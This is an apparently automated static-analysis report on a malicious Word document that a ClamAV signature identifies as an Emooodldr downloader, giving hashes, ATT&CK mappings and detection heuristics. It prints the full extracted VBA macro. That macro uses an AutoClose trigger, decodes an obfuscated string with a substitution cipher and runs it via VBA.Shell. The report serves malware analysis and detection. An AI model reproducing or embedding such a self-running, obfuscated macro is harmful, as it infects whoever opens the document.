Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 a7b9ddd84fc86c1e…

MALICIOUS

Office (OOXML)

54.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-11-20
MD5: 1157a7a75d7d16ed2aeb80e631d4f33a SHA-1: 21714237b26c5002491c082928563c9a17d44100 SHA-256: a7b9ddd84fc86c1eb09feba86b773961cc1d459287eae364bbe750533ac5ceb9
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. The VBA macros contain an AutoClose function that calls a linguica function, which appears to deobfuscate and construct a string. This string is then passed to another function, fructose, likely to download and execute a second-stage payload. The presence of the AutoClose macro and Shell() call strongly indicates malicious intent.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2095 bytes
SHA-256: c64150fa32cc94827ed2ad26d3780fd3a29cffcea77f4a055abceb9764f351b3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function linguica(avigate)
  unifies = Array("z", "J", "L", "a", "T", "U", "q", "X", "8", "v", "u", "y", "t", "H", "R", "m", "P", "e", "I", "F", "g", "c", "Q", "p", "9", "b")
  frustulent = Array("o", "g", "s", "b", "U", " ", "?", "a", "=", "u", "n", "z", "p", "c", "j", "e", "O", "/", "i", "m", "d", ".", "t", "x", ":", "h")
  
  fellowship = vbNullString
  
  For Each cursitor In avigate
    ergotize = Application.Run("polycarbonate", cursitor, unifies)
    If ergotize > -1 And ergotize < 99212 Then
    fellowship = frustulent(ergotize) + fellowship
    End If
  Next
  
  linguica = StrReverse(fellowship)
  
End Function

Public Function polycarbonate(sludger, rhumbaed)

  unauthenticity = 81818
  hydroterpeneator = -1
  For Each tank In rhumbaed
    If tank = sludger Then
     unauthenticity = hydroterpeneator
     Exit For
    End If

    hydroterpeneator = hydroterpeneator + 1
    
  Next

  
  If unauthenticity = 81818 Then
    unauthenticity = -1
  End If


  polycarbonate = unauthenticity + 1
End Function




Sub AutoClose()
  avigate = Array("F", "L", "b", "Q", "X", "c", "m", "p", "m", "U", "b", "Q", "Q", "t", "9", "e", "e", "z", "X", "I", "R", "a", "v", "y", "p", "H", "v", "u", "X", "L", "g", "R", "u", "c", "H", "z", "F", "e", "P", "T", "e", "L", "F", "I", "p", "c", "t", "b", "t", "q", "v", "Q", "F", "X", "8", "u", "u", "I", "I", "J")
  grady = linguica(avigate)
  
  Application.Run "fructose", (grady)
  
End Sub


Private Sub fructose(soppy)
   
   saltworts = 69172
   interspaces = True
   
   While interspaces
     spinsterhood = saltworts + 91723
     If spinsterhood - saltworts > 297 Then
       VBA.Shell soppy, vbNormalFocus - 1
       interspaces = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 8fa2e7ea8d83f33c0e41af783bf5b15423ce1d90f75db156e9cace2bd0ce723d
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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